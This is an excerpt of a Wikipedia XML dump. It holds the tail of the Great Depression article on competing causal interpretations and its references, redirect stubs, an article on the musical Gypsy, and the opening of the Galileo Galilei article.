Others like [[Milton Friedman]] and [[Friedrich von Hayek]], argued that the Great Depression did not resolve itself until after World War II, where the country's economy saw some form of normalcy: reductions in tariffs, lower taxes/spending, reduction of price controls, an end to rationing of goods.  They, along with other microeconomists and free market thinkers, argue that the Great Depression was perpetuated by the New Deal's government influence into the economy, and also argued that the policy prescriptions under the Bretton Woods accord would create new economic problems of their own rather than solve current ones.  They also argued that much of the regulation, legislation, and court rulings that came about during the great depression resulted in not the protection of competition but the protection of competitors at the expense of competition and consumers.

==Political Perspectives on Causes and Cures==
There are multiple competing interpretations about what caused the Great Depression.  The debate is important because the public and policy makers ever since 1929 have demanded that such a disaster never again happen, so it is imperative to explain why.  Economists do not agree on what caused the depression or what prolonged it.  The '''political''' interpretations especially important in the USA are as follows:

====Microeconomists: restrictions to blame====
Many economists at the time argued that the sharp decline in international trade after 1930 helped to worsen the depression.  Some also argued that the growing body of economic intervention after 1932 contributed to the markets inability to react to abrupt changes and kept unemployment high in some countries, such as the US.  The British Empire promoted trade inside the Empire (and not with the U.S.A.)  Germany promoted economic autarky in which countries received benefits (or threats) for trading with Germany.

====Smoot-Hawley Tariff Act to blame==== 
Most historians and economists assign the [[Smoot-Hawley Tariff Act]] of 1930 part of the blame for worsening the depression by reducing international trade and causing retaliation. As for the United States, foreign trade was a small part of overall economic activity; it was a much larger factor in most other countries.  [http://www.mtholyoke.edu/acad/intrel/depress.htm] The average ad valorem rate of duties on dutiable imports for 1921-1925 was 25.9% but under the new tariff it jumped to 50.0% in 1931-1935.  In spite of the objection of more than a thousand members of the American Economic Association Hoover signed the tariff for several reasons. It embodied his recommendations of increased agricultural protection, and reorganizing the Tariff Commission. Hoover constantly praised the law for helping American farmers and the American home market; he ignored the threat to exporters.  It became a major campaign issue in 1932, but Hoover rejected Roosevelt's charges that &quot;the Hawley-Smoot Tariff is one of the most important factors in the present world-wide depression,&quot; and that 
&quot;it has destroyed international commerce.&quot;  Hoover responded, &quot;So they would have us believe this world catastrophe and this destruction of foreign trade happened because the United States increased tariff on one-fourth of one-third of one-eighth of the world's imports. Thus we pulled down the world, so they tell us, by increases of less than one per cent of the goods being imported by the world.&quot; [''Hoover State Papers'', II, 343]

In dollar terms American exports declined from $5.2 billion in 1929 to $1.7 billion in 1933; but prices also fell so the physical volume of exports did not decline as much. Hardest hit were farm commodities such as wheat, cotton, tobacco, and lumber.  According to this theory, the collapse of farm exports caused many American farmers to default on their loans leading to the bank runs on small rural banks that characterized the early years of the Great Depression.

=====Monetarism: Federal reserve to blame=====   
[[Milton Friedman]] and [[Ben Bernanke]] stress the negative role of the Federal Reserve System. It cut the money supply by one-third from 1929 to 1932. There was much less money to go around, businessmen could not get new loans--and could not even get their old loans renewed. They had to stop investing. Not because they did not want to (as the Keynesian model said), but because banks could not lend them the money they needed. This interpretation blames the government and calls for a much more careful Federal Reserve policy. Bernanke became the Chairman of the Federal Reserve System in 2006.

====The Far Left: capitalism to blame====
The revolutionary left, including some socialists, together with communists and anarchists, saw the Great Depression as the beginning of capitalism's final collapse. Their remedy was to build up their movements to take over the labor unions, and perhaps eventually the government. The New Deal did change the laws to help unions grow--but they split into warring AFL and CIO factions and neutralized much of their potential political influence.  Unions grew even faster during the war.

====New Dealers: Business to Blame====
Roosevelt and most of the New Dealers primarily blamed the excesses of big business for causing an unstable bubble-like economy.  The problem was that business had too much power, and the New Deal intended to remedy that by empowering labor unions and farmers (which they did), and by raising taxes on corporate profits (they tried and failed). Regulation of the economy was a favorite remedy.  Some of those regulations, such as establishing the [[Securities and Exchange Commission]] which regulates Wall Street, won widespread support and continue to this day. Most of the other regulations were abolished or scaled back in a bipartisan wave of [[deregulation]] 1975-85.

====Keynesianism: public behaviour to blame====
The British economist [[John Maynard Keynes]] coined the term &quot;the paradox of thrift&quot; to describe the deepening of the Great Depression after 1929. The paradox of thrift indicates that when people decide to save more this may end up causing people to save less. The increased savings (reduced spending) due to the panic following the stock market crash of 1929 left markets saturated, contributing to price deflation, perpetuating the Great Depression. When people decided to save more (spend less) businesses responded by cutting back on production and laying off workers. Businesses, cutting back on investment spending because they were pessimistic about the future as well, were also doing their share of causing a reduction in aggregate expenditures, reducing their investments, setting in motion a dangerous cycle: less investment, fewer jobs, less consumption and even less reason for business to invest. The lower aggregate expenditures in the economy contributed to a multiple decline in income well below full employment. The economy may reach perfect balance, but at a cost of high unemployment and social misery. At the lower income levels during the Great Depression savings were much lower than before-- hence, the paradox of thrift. As a result, Keynesian economists were increasingly calling for government to take up the slack.

===The New Deal and Keynesian economics===
In the early 1930s, before [[John Maynard Keynes]] wrote ''The General Theory'', he was advocating public works programs and deficits as a way to get the British economy out of the Depression. Although Keynes never mentions fiscal policy in The General Theory, and instead advocates the need to socialize investments, Keynes ushered in more of a theoretical revolution than a policy one. Keynes's basic idea was simple. In order to keep people fully employed, governments have to run deficits when the economy is slowing because the private sector won't invest enough. Many politicians, however, failed to understand his idea.

As the Depression wore on, Franklin D. Roosevelt tried public works, farm subsidies and other devices to restart the economy, but he never completely gave up trying to balance the budget. As a result, unemployment remained high throughout the New Deal years; consumption, investment, and net exports-- the pillars of economic growth-- remained low. With [[fiscal policy]], however, government could provide the needed increased spending by decreasing taxes, increasing government spending, increasing individuals' incomes. As individuals incomes would increase, they would spend more. As they spent more, the [[multiplier effect]] would take over and expand the effect on the initial spending. Expansionary fiscal policy thus involves decreasing taxes or increasing government spending to counteract [[cyclical unemployment]] and slow growth during a recession.

It was [[World War II]], not the New Deal, that finally ended the crisis. Nor did the New Deal substantially alter the distribution of power within American [[capitalism]]; and it had only a small impact on the distribution of wealth among the American people.

Keynes's visit to the [[White House]] in 1934 to urge President Roosevelt to do more deficit spending was a debacle. A dazed, overwhelmed Roosevelt complained to Labor Secretary [[Frances Perkins]], &quot;He left a whole rigmarole of figures-- he must be a mathematician rather than a political economist.&quot;  Keynes, equally frustrated with the encounter, later told Secretary Perkins that he had &quot;supposed the President was more literate, economically speaking.&quot;

===The recession of 1937 and recovery===
The Roosevelt administration was under assault during FDR's second term, which presided over a new dip in the Great Depression in the fall of 1937 that continued through most of 1938. Production declined sharply, as did profits and employment. Unemployment jumped from 14.3% in 1937 to 19.0% in 1938. It was, in the largest measure, a result of a premature effort by the administration to balance the budget by reducing federal spending.  

The administration reacted by launching a rhetorical campaign against monopoly power, which was cast as the cause of the new dip. The president appointed an aggressive new direction of the antitrust division of the Justice Department, but this effort lost its effectiveness once World War II, a far more pressing concern, began.

But the administration's other response to the 1937 deepening of the Great Depression had more tangible results. Ignoring the vitriolic pleas of the Treasury Department and responding to the urgings of the converts to Keynesian economics and others in his administration, Roosevelt embarked on an antidote to the depression, reluctantly abandoning his efforts to balance the budget and launching a $5 billion spending program in the spring of 1938, an effort to increase mass purchasing power. The New Deal had in fact engaged in deficit spending since 1933, but it was apologetic about it, because a rise in the national debt was opposite of what the Democratic party had always preached.  Now they had a theory to justify what they were doing.  Roosevelt explained his program in a [[Fireside chats|fireside chat]] in which he finally acknowledged that it was therefore up to the government to &quot;create an economic upturn&quot; by making &quot;additions to the purchasing power of the nation.&quot; 

Business-oriented observers explained the recession and recovery in very different terms from the Keynesians.  They argued that the New Deal had been very hostile to business expansion in 1935-37, had encouraged massive strikes which had a negative impact on major industries such as automobiles, and had threatened massive anti-trust legal attacks on big corporations.  All those threats diminished sharply after 1938.  For example, the antitrust efforts fizzled out without major cases. The CIO and AFL unions started battling each other more than corporations, and tax policy became more favorable to long-term growth.

==External links==
*[http://www.evtv1.com/index.asp-itemnum-1169 Depression video clip 2 min.]
*[http://eh.net/encyclopedia/article/parker.depression An Overview of the Great Depression] from EH.NET by Randall Parker.

==Films and TV==
*''The Crash of 1929 -- PBS ''[http://www.pbs.org/wgbh/amex/crash/index.html]
*''[[The Grapes of Wrath]]'', Director: [[John Ford]], 1940
*''[[Of Mice and Men]]'', filmed three times - in 1939, 1981 and 1992
*''[[They Shoot Horses, Don't They?]]'', Director: [[Sidney Pollack]], 1969
*''[[The Journey of Natty Gann]]'', 1985
*''[[Cradle Will Rock]]'', Director: [[Tim Robbins]], 1999
*''[[Dogville]]'', Director:[[Lars von Trier]], 2003
*''[[Seabiscuit]]''
*''[[Carnivàle]]'', Fictional account of Depression era [[television series]] produced by [[HBO]], (2003-2005)
*''[[Cinderella Man]]'', Directed by the Academy Award Winner [[Ron Howard]], Starring Academy Award Winners [[Russell Crowe]] and [[Renée Zellweger]], 2005

== See also ==
*[[Aftermath of World War I]]
*[[Business cycle]]
*[[Cities in the great depression]]
*[[Economic collapse]]
*[[Great Depression in Canada]]
*[[Great Depression in Australia]]
*[[Great Depression in the United Kingdom]]
*[[Great Depression in France]]
*[[Great Depression in Italy]]
*[[Great Depression in Ireland]]
*[[Great Depression in Spain]]
*[[Great Depression in Latin America]]
*[[Great Depression in Germany]]
*[[Great Depression in Scandinavia]]
*[[Great Depression in South Africa]]
*[[Great Depression in Eastern Europe]]
*[[Great Depression in East Asia]]
*[[Great Depression in Japan]]
*[[New Deal]]

==References==
=== External Sources: World ===
* Ambrosius, G. and W. Hibbard, ''A Social and Economic History of Twentieth-Century Europe'' (1989)
* [http://www.questia.com/PM.qst?a=o&amp;d=5001644781 Bernanke, Ben S. &quot;The Macroeconomics of the Great Depression: A Comparative Approach&quot; ''Journal of Money, Credit &amp; Banking'', Vol. 27, 1995]
* Brown, Ian. ''The Economies of Africa and Asia in the inter-war depression'' (1989)
* Davis, Joseph S., ''The World Between the Wars, 1919-39: An Economist's View'' (1974)
* Feinstein. Charles H. ''The European economy between the wars'' (1997)
* Garraty, John A., ''The Great Depression: An Inquiry into the causes, course, and Consquences of the Worldwide Depression of the Nineteen-Thirties, as Seen by Contemporaries and in Light of History'' (1986)
* Garraty John A. ''Unemployment in History.'' (1978)
* Garside, William R. ''Capitalism in crisis: international responses to the Great Depression'' (1993)
* Haberler, Gottfried. ''The world economy, money, and the great depression 1919-1939'' (1976)
* Hall Thomas E. and J. David Ferguson.  ''The Great Depression: An International Disaster of Perverse Economic Policies'' (1998)
* Kaiser, David E.  ''Economic diplomacy and the origins of the Second World War: Germany, Britain, France and Eastern Europe, 1930-1939'' (1980) 
* Kindleberger, Charles P. ''The World in Depression, 1929-1939'' (1983)
* [http://www.questia.com/PM.qst?a=o&amp;d=5000995120 Madsen, Jakob B. &quot;Trade Barriers and the Collapse of World Trade during the Great Depression&quot;' ''Southern Economic Journal'', Vol. 67, 2001]
* Mundell, R. A.  &quot;A Reconsideration of the Twentieth Century' &quot;The American Economic Review&quot; Vol. 90, No. 3 (Jun., 2000), pp. 327-340 
[http://links.jstor.org/sici?sici=0002-8282%28200006%2990%3A3%3C327%3AAROTTC%3E2.0.CO%3B2-8 online at JSTOR] 
* [http://www.questia.com/PM.qst?a=o&amp;d=103606166 Rothermund, Dietmar. ''The Global Impact of the Great Depression'' (1996)]
* Salsman, Richard M. “The Cause and Consequences of the Great Depression” in ''The Intellectual Activist,'' ISSN 0730-2355.
Mr. Salsman argues that the [[Great Depression]] was ''fundamentally'' caused by ''[[statist]]'' government policy, and ended only when government policy became ''less'' statist and more ''[[laissez-faire]].''
:“Part 1: What Made the Roaring ’20s Roar”, June, 2004, p. 16-24.
:“Part 2: [[Herbert Hoover|Hoover]]'s Progressive Assault on Business”, July, 2004, pp. 10-20.
:“Part 3: [[Franklin D. Roosevelt|Roosevelt]]'s Raw [[New Deal|Deal]]”, August, 2004, pp. 9-20.
:“Part 4: Freedom and Prosperity”, January, 2005, pp. 14-23.
* Tipton, F. and R. Aldrich, An Economic and Social History of Europe, 1890–1939'' (1987)

=== Academic secondary sources: USA ===
* [http://www.questia.com/PM.qst?a=o&amp;d=5001352241 Archibald, Robert B. and David H. Feldman. &quot;Investment during the Great Depression: Uncertainty and the Role of the Smoot-Hawley Tariff&quot; ''Southern Economic Journal'', Vol. 64, 1998]
* Bakke E. Wright. ''The Unemployed Worker: A Study of the Task of Making a Living without a Job.'' (1940).
* [http://www.questia.com/PM.qst?a=o&amp;d=10515511 Beito David. ''Taxpayers in Revolt'' (1989)]
* Bernstein, Irving. ''Turbulent Years: A History of the American Worker, 1933-1941'' (1970), the best history of labor in the era.
* Bernstein, Michael A. ''The Great Depression: Delayed Recovery and Economic Change in America, 1929-1939'' (1989) 
* [http://www.questia.com/PM.qst?a=o&amp;d=23339686 Best, Gary Dean. ''Pride, Prejudice, and Politics: Roosevelt Versus Recovery, 1933-1938'' (1991)], conservative critique 
* Blumberg Barbara. ''The New Deal and the Unemployed: The View from New York City'' (1977).
* Bordo, Michael D., Claudia Goldin, and Eugene N. White , eds., ''The Defining Moment: The Great Depression and the American Economy in the Twentieth Century''(1998). Advanced economic history.
* Bremer William W. &quot;Along the American Way: The New Deal's Work Relief Programs for the Unemployed.&quot;  ''Journal of American History'' 62 (December 1975): 636-652. online at JSTOR in most academic libraries
* Brock William R. ''Welfare, Democracy and the New Deal'' (1988)
* Chandler, Lester. ''America's Greatest Depression'' (1970). good overview.
* Friedman, Milton and Anna J. Schwartz, ''A Monetary History of the United States, 1867-1960'' (1963), classic monetarist explanation
* [http://www.questia.com/PM.qst?a=o&amp;d=101548706 Himmelberg, Robert F. ed ''The Great Depression and the New Deal'' (2001)] short overview
* Grant, Michael Johnston. ''Down and Out on the Family Farm: Rural Rehabilitation in the Great Plains, 1929-1945''  (2002) 
* [[Robert Higgs|Higgs, Robert]]. 1992. 'Wartime Prosperity? A Reassessment of the U.S. Economy in the 1940s,' ''The Journal of Economic History'' 52(1):41-60.
* [http://www.questia.com/PM.qst?a=o&amp;d=8475237 Howard Donald S. ''The WPA and Federal Relief Policy'' (1943)]
* Jensen, Richard J. &quot;The Causes and Cures of Unemployment in the Great Depression,&quot; ''Journal of Interdisciplinary History'' 19 (1989) 553-83. online at JSTOR in most academic libraries
* [http://www.questia.com/PM.qst?a=o&amp;d=52284041 Kennedy, David. ''Freedom from Fear: The American People in Depression and War, 1929-1945'' (1999)] standard scholarly history
* [http://www.questia.com/PM.qst?a=o&amp;d=5000412832 Kubik, Paul J. &quot;Federal Reserve Policy during the Great Depression: The Impact of Interwar Attitudes regarding Consumption and Consumer Credit' ''Journal of Economic Issues'', Vol. 30, 1996]
* Lowitt, Richard and Beardsley Maurice, eds. ''One Third of a Nation: Lorena Hickock Reports on the Great Depression'' (1981)
* McElvaine Robert S. ''The Great Depression'' 2nd ed (1993)
* [http://www.questia.com/PM.qst?a=o&amp;d=98065455 Mitchell, Broadus. ''Depression Decade: From New Era through New Deal, 1929-1941'' (1964)], standard scholarly overview of economic history
* Romasco Albert U. &quot;Hoover-Roosevelt and the Great Depression: A Historiographic Inquiry into a Perennial Comparison.&quot; In John Braeman, Robert H. Bremner and David Brody, eds. ''The New Deal: The National Level'' (1973) v 1 pp 3-26.
* Rosen, Elliot A.  ''Roosevelt, the Great Depression, and the Economics of Recovery'' (2005) argues  productivity gains were more responsible for long-term recovery than New Deal  
* Saloutos, Theodore. ''The American Farmer and the New Deal'' (1982).
* Sautter Udo. ''Three Cheers for the Unemployed'' (1991)
* [http://www.questia.com/PM.qst?a=o&amp;d=24419587 Singleton, Jeff. ''The American Dole: Unemployment Relief and the Welfare State in the Great Depression'' (2000)]
* Sitkoff, Harvard. ''A New Deal for Blacks'' (1978).
* Smiley, Gene. ''Rethinking the Great Depression'' (2002) economist blames Federal Reserve and gold standard
* Smith, Jason Scott. ''Building New Deal Liberalism: The Political Economy of Public Works, 1933-1956'' (2005).
* Sternsher, Bernard ed., ''Hitting Home: The Great Depression in Town and Country'' (1970)
* [http://www.questia.com/PM.qst?a=o&amp;d=82275844 Szostak, Rick. ''Technological Innovation and the Great Depression'' (1995)]
* Temin, Peter. ''Did monetary forces cause the great depression'' (1976)
* Tindall George B. ''The Emergence of the New South, 1915-1945'' (1967).
* Trattner Walter I. ''From Poor Law to Welfare State'' 6th ed. (1979)
* Trout Charles H. ''Boston, the Great Depression, and the New Deal'' (1977)
* Warren, Harris Gaylord. ''Herbert Hoover and the Great Depression'' (1959).
* Watkins, T. H. ''The Great Depression: America in the 1930s.'' (1993).
* [http://www.upjohninst.org/publications/ch1/wheelerch1.pdf Wheeler, Mark, ed. ''The Economics of the Great Depression'' (1998)]
* Eugene N. White, &quot;The Stock Market Boom and Crash of 1929 Revisited,&quot; ''The Journal of Economic Perspectives'' Vol. 4, No. 2 (Spring, 1990), pp. 67-83 [http://links.jstor.org/sici?sici=0895-3309%28199021%294%3A2%3C67%3ATSMBAC%3E2.0.CO%3B2-R online at JSTOR]

== External links ==
* [http://www.mises.org/rothbard/agd.pdf America's Great Depression &amp;mdash; an &quot;Austrian&quot; interpretation by Murray Rothbard]
* [http://www.amatecon.com/gd/gdtimeline.html America's Great Depression &amp;mdash; Timeline]
* [http://bellarmine.lmu.edu/~jdevine/depr/D0.html The Causes of the 1929&amp;ndash;33 Great Collapse: A Marxian Interpretation, by James Devine]
* [http://www.livinghistoryfarm.org/farminginthe30s/farminginthe1930s.html Farming in the 1930s (US)]
* [http://casenet.thomsonlearning.com/casenet/abstracts/keynesdepression.html Keynes and Friedman on the Great Depression]
* [http://www.southerndomains.com/SouthernBanks/p5.htm  Theories on the Great Depression]
* [http://www.upjohninst.org/publications/ch1/wheelerch1.pdf The Economics of the Great Depression]
* About.com: [http://mutualfunds.about.com/cs/1929marketcrash/index.htm 1929 Stock Market Crash]
* [http://ingrimayne.saintjoe.edu/econ/EconomicCatastrophe/GreatDepression.html The Great Depression (ingrimayne.saintjoe.edu)]
* [http://www.mccord-museum.qc.ca/en/keys/webtours/GE_P4_1_EN.html The Dirty Thirties] &amp;mdash; Images of the Great Depression in Canada
* [http://www.gusmorino.com/pag3/greatdepression/index.html The Main Causes of the Depression]
* [http://www.bls.gov/opub/cwc/cm20030124ar03p1.htm Depression unemployment rates], from U.S. Department of Labor, Bureau of [[Labour (economics)|Labor]] Statistics
* [http://titan.bsz-bw.de/bibscout/N/NQ/NQ1010-NQ1068/NQ.1065 German and other books]


[[Category:Economic disasters]]
[[Category:Great Depression in the United States|*]]
[[Category:Great Depression|*]]
[[Category:Historical eras]]

[[ar:الكساد الكبير]]
[[bg:Световна икономическа криза]]
[[ca:Gran depressió]]
[[de:Weltwirtschaftskrise]]
[[eo:Granda depresio]]
[[es:Gran depresión]]
[[et:Suur depressioon]]
[[fi:Suuri lama]]
[[fr:Grande dépression]]
[[he:השפל הגדול]]
[[it:Grande depressione]]
[[ja:世界恐慌]]
[[ka:დიდი დეპრესია]]
[[ko:대공황]]
[[nl:Grote Depressie]]
[[pl:Wielki kryzys]]
[[pt:Grande Depressão]]
[[sv:Den stora depressionen]]
[[zh:大萧条]]</text>
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    <title>Gladstone Oregon</title>
    <id>11941</id>
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      <timestamp>2002-08-13T05:09:20Z</timestamp>
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        <ip>209.244.91.81</ip>
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      <text xml:space="preserve">#REDIRECT [[Gladstone, Oregon]]</text>
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  </page>
  <page>
    <title>Gene Cernan</title>
    <id>11942</id>
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      <timestamp>2003-11-17T20:22:46Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
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      <text xml:space="preserve">#REDIRECT [[Eugene Cernan]]</text>
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  <page>
    <title>Gypsy: A Musical Fable</title>
    <id>11943</id>
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      <id>37008656</id>
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      <comment>punctuation</comment>
      <text xml:space="preserve">[[Image:Gypsy Poster.jpg|right|thumb|width=150px|[[Deborah Gibson]](left) and [[Betty Buckley]] in promotional poster for 1998 production of ''Gypsy'']]

'''''Gypsy: A Musical Fable''''' is a musical with music by [[Jule Styne]], lyrics by [[Stephen Sondheim]], and a book by [[Arthur Laurents]].  It is frequently considered one of the crowning achievements of the mid-20th century's conventional musical theatre art form, often called the &quot;[[book musical]].&quot; ''Gypsy'' is loosely based on the memoirs of [[Gypsy Rose Lee]], the famous [[striptease]] artist, and focuses on her struggle with her mother, Mama Rose, whose name has become synonymous with &quot;the ultimate show business mother.&quot;  It contains many songs that became popular standards, including &quot;Small World,&quot; &quot;Everything's Coming Up Roses,&quot; &quot;You'll Never Get Away from Me,&quot; and &quot;Let Me Entertain You.&quot; 

The original staging, produced by [[David Merrick]], opened on [[May 21]], [[1959]] and starred [[Ethel Merman]] and [[Jack Klugman]], with Sandra Church in the title role.  Choreography was by [[Jerome Robbins]].

Three songs were cut from the show: &quot;Momma's Talkin' Soft,&quot; &quot;[If I Had] Three Wishes for Christmas,&quot; and &quot;Nice She Ain't.&quot;

In 1962, [[Warner Bros.]] released a film version, starring, respectively, [[Rosalind Russell]], [[Karl Malden]], and [[Natalie Wood]]. [[Lisa Kirk]] dubbed Rosalind Russell's singing voice, but Russell's attempts at singing were rediscovered on scratchy [[acetate disc]]s and recently made available as supplements on the CD reissue of the film soundtrack.

The musical has been revived three times on [[Broadway theatre|Broadway]], running from 1974&amp;ndash;1975 with [[Angela Lansbury]] as Rose, from 1989&amp;ndash;1991 with [[Tyne Daly]] initially as Rose, later replaced by [[Linda Lavin]], and most recently in 2003 with [[Bernadette Peters]].

The musical was also adapted as a [[television]] movie in 1993 with [[Bette Midler]] playing Rose, and directed by [[Emile Ardolino]]. [[Cynthia Gibb]] portrayed Louise and Jennifer Beck portrayed Dainty June.

A 1998 production featuring [[Betty Buckley]] and [[Deborah Gibson]] at the [[Paper Mill Playhouse]] never made it to Broadway, but became a subject of some notoriety in the theatre community when e-mails from an anonymous cast member detailing the backstage behaviour of the stars became public.  The author was eventually revealed as [[John Flynn]], who has now done several New York stagings of his cabaret act (with parodies of ''Gypsy'' songs), ''Dances with Pitchforks'', based on his experiences portraying &quot;Non-Equity Farmboy 5&quot;.

In 2003, a [[Sam Mendes]]-directed production of ''Gypsy'' played at the [[Shubert Theatre]].  Bernadette Peters played Rose, Tammy Blanchard portrayed Louise, and John Dossett played Herbie. 

The role of Mama Rose in ''Gypsy'' is regarded as the pinnacle of all diva roles in musical theatre, as seen by its frequent revivals with big name stars (some perhaps more deserving than others), a reputation that began with its original cast and the legendary Ethel Merman.  However, in the most recent revival Arthur Laurents, book writer and previous director of the show, praised Bernadette Peters &quot;as the best&quot; Rose yet, bringing to the role a poignant &quot;sense of vunerability.&quot;  Due to a poor marketing strategy and an unfortunate vocal infection of its star during previews, the Peters revival of ''Gypsy'' received limited commercial success despite critics' approval.  Ms. Peters was nominated for a Tony Award for her performance as Mama Rose, famously singing the Act II closer &quot;Rose's Turn&quot; at the 2004 Tonys, but did not win.

=='''Songs==
# &quot;May We Entertain You&quot;
# &quot;Some People&quot;
# &quot;Small World&quot;
# &quot;Baby June and Her Newsboys&quot;
# &quot;Mr. Goldstone&quot;
# &quot;Little Lamb&quot;
# &quot;You'll Never Get Away From Me&quot;
# &quot;Dainty June and Her Farmboys&quot;
# &quot;If Momma Was Married&quot;
# &quot;All I Need is the Girl&quot;
# &quot;Everything's Coming Up Roses&quot;
# &quot;Together Wherever We Go&quot;
# &quot;You Gotta Get a Gimmick&quot;
# &quot;May We Entertain You&quot; (reprise)


[[Category:Musical films|Gypsy]]
[[Category:Musicals]]
[[Category:Biographical films]]
[[Category:Drama films]]
[[Category:Comedy-drama films]]</text>
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  <page>
    <title>Galileo (disambiguation)</title>
    <id>11944</id>
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      <minor />
      <comment>robot  Adding: hr</comment>
      <text xml:space="preserve">'''Galileo''' can mean:

*[[Galileo Galilei]] (1564-1642), astronomer, philosopher, and physicist.
*[[Galileo (unit)]], a measure of acceleration.
*[[Galileo (song)]], a pop song by the ''Indigo Girls''.
*[[Galileo spacecraft]], a space probe that visited Jupiter.
*[[Galileo (magazine)]], a 1970s science fiction magazine.
*[[Galileo positioning system]], a European satellite navigation system, currently in development.
*[[Life of Galileo]], a play by Bertolt Brecht.
*[[Galileo (movie)]], an adaptation of Brecht's play.
*[[Galileo Galilei (opera)]], an opera by Philip Glass.
*[[Galileo Academy of Science and Technology]], a high school in San Francisco.
*[[Galileo CRS]], an airline reservation system.

{{disambig}}

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[[nl:Galileo]]
[[ja:ガリレオ]]
[[nn:Galileo]]
[[ru:Галилео (значения)]]
[[sk:Galileo]]</text>
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    <title>Galileo Galilei</title>
    <id>11945</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.10.102.238|72.10.102.238]] ([[User talk:72.10.102.238|talk]]) to last version by Shonebrooks</comment>
      <text xml:space="preserve">{{redirect|Galileo}}
[[Image:Galileo.arp.300pix.jpg|thumb|right|Galileo Galilei]]
'''Galileo Galilei''' ([[Pisa]], [[February 15]] [[1564]] &amp;ndash; [[Arcetri]], [[January 8]] [[1642]]), was an [[Italian people|Italian]] [[physicist]], [[astronomer]], and [[philosopher]] who is closely associated with the [[scientific revolution]]. His achievements include improvements to the [[telescope]], a variety of astronomical observations, the first [[Newton's laws of motion#Newton's First Law: Law of Inertia|law of motion]], the second [[Newton's laws of motion#Newton's Second Law: Fundamental Law of Dynamics|law of motion]], and effective support for [[Nicolaus Copernicus|Copernicanism]]. He has been referred to as the &quot;[[List of people known as the father or mother of something|father]] of modern [[astronomy]]&quot;, as the &quot;mother of modern [[physics]]&quot;, and as &quot;father of [[science]]&quot;. His experimental work is widely considered complementary to the writings of [[Francis Bacon (philosopher)|Francis Bacon]] in establishing the modern [[scientific method]]. Galileo's career coincided with that of [[Johannes Kepler]]. The work of Galileo is considered to be a significant break from that of [[Aristotle]]. In addition, his conflict with the [[Roman Catholic Church]] is taken as a major early example of the conflict of authority and [[freedom of thought]], particularly with [[science]], in [[Western society]].

==Family and early career==
Galileo was born in [[Pisa]], in the [[Tuscany|Tuscan]] region of [[Italy]], the son of [[Vincenzo Galilei]], a mathematician and musician born in Florence in 1520, and Giulia Ammannati, born in Pescia and married in 1563. Galileo was their first child. Although a devout [[Catholic]], Galileo fathered three children out of wedlock. All were the children of Galileo and [[Marina Gamba]]. Because of their illegitimate birth, both girls were sent to the convent of San Matteo in Arcetri at early ages.

* Virginia (1600&amp;ndash;1634) who took the name [[Maria Celeste]] upon entering a convent. Galileo's eldest child, the most beloved, and inherited her father's sharp mind. She died on April 2, 1634. She is buried with Galileo at the [[Basilica di Santa Croce di Firenze]].
* Livia  (b. 1601) took the name Suor Arcangela. Was sickly for most of her life at the convent.
* Vincenzio (b. 1606) was later legitimized and married Sestilia Bocchineri.

Galileo was home-schooled at a very young age. After that he attended the [[University of Pisa]], but was forced to cease his study there for financial reasons. However, he was offered a position on its faculty in 1589 and taught mathematics. Soon after, he moved to the [[University of Padua]], and served on its faculty teaching [[geometry]], [[mechanics]], and [[astronomy]] until 1610. During this time he explored science and made many landmark discoveries.

==Experimental science==
In the pantheon of the scientific revolution, Galileo takes a high position because of his pioneering use of quantitative experiments with results analysed mathematically. There was no tradition of such methods in European thought at that time; the great experimentalist who immediately preceded Galileo, [[William Gilbert]], did not use a quantitative approach. However, Galileo's father, [[Vincenzo Galilei]], had performed experiments in which he discovered what may be the oldest known non-linear relation in physics, between the tension and the pitch of a stretched string. Galileo also contributed to the rejection of blind allegiance to authority (like the Church) or other thinkers (such as [[Aristotle]]) in matters of science and to the separation of science from [[philosophy]] or religion. These are the primary justifications for his description as the &quot;father of science&quot;.

In the 20th century some authorities challenged the reality of Galileo's experiments, in particular the distinguished French [[History of science and technology|historian of science]] [[Alexandre Koyré]]. The experiments reported in ''[[Two New Sciences]]'' to determine the law of acceleration of falling bodies, for instance, required accurate measurements of time, which appeared to be impossible with the technology of the 1600s. According to Koyré, the law was arrived at deductively, and the experiments were merely illustrative thought experiments.

Later research, however, has validated the experiments. The experiments on falling bodies (actually rolling balls) were replicated using the methods described by Galileo (Settle, 1961), and the precision of the results was consistent with Galileo's report. Later research into Galileo's unpublished working papers from as early as 1604 clearly showed the reality of the experiments and even indicated the particular results that led to the time-squared law (Drake, 1973).

==Astronomy==
===Contributions===
Although the popular idea of Galileo inventing the [[telescope]] is inaccurate, he was one of the first people to use the telescope to observe the [[sky]], and for a time was one of very few people able to make a telescope good enough for the purpose. Based on sketchy descriptions of telescopes invented in the [[Netherlands]] in 1608, Galileo made one with about 8x magnification, and then made improved models up to about 20x. On [[August 25]], [[1609]], he demonstrated his first telescope to [[Venice|Venetian]] lawmakers. His work on the device also made for a profitable sideline with merchants who found it useful for their shipping businesses. He published his initial telescopic astronomical [[observation]]s in March 1610 in a short treatise entitled ''[[Sidereus Nuncius]]'' (''Sidereal Messenger'').

[[image:galileo.script.arp.600pix.jpg|thumb|200px|right|It was on this page that Galileo first noted an observation of the [[natural satellite|moons]] of [[Jupiter (planet)|Jupiter]]. This observation upset the notion that all celestial bodies must revolve around the Earth. Galileo published a full description in ''[[Sidereus Nuncius]]'' in March 1610.]]



On [[January 7]], [[1610]] Galileo discovered three of [[Jupiter (planet)|Jupiter]]'s four largest [[natural satellite|satellites]] (moons): [[Io (moon)|Io]], [[Europa (moon)|Europa]], and [[Callisto (moon)|Callisto]]. [[Ganymede (moon)|Ganymede]] he discovered four nights later. He determined that these moons were [[orbit]]ing the [[planet]] since they would appear and disappear; something he attributed to their movement behind Jupiter. He made additional observations of them in 1620. Later astronomers overruled Galileo's naming of these objects, changing his ''Medicean stars'' to [[Galilean_moons|''Galilean satellites'']]. The demonstration that a planet had smaller planets orbiting it was problematic for the orderly, comprehensive picture of the [[geocentric model]] of the universe, in which everything circled around the [[Earth]].

Galileo noted that [[Venus (planet)|Venus]] exhibited a full set of [[Lunar phase|phase]]s like the [[Moon]]. The [[heliocentric model]] of the solar system developed by [[Copernicus]] predicted that all phases would be visible since the orbit of Venus around the [[Sun]] would cause its illuminated hemisphere to face the Earth when it was on the opposite side of the Sun and to face away from the Earth when it was on the Earth-side of the Sun. By contrast, the [[geocentric model]] of [[Ptolemy]] predicted that only crescent and new phases would be seen, since Venus was thought to remain between the Sun and Earth during its orbit around the Earth. Galileo's observation of the phases of Venus proved that Venus orbited the Sun and lent support to (but did not prove) the [[heliocentric model]].

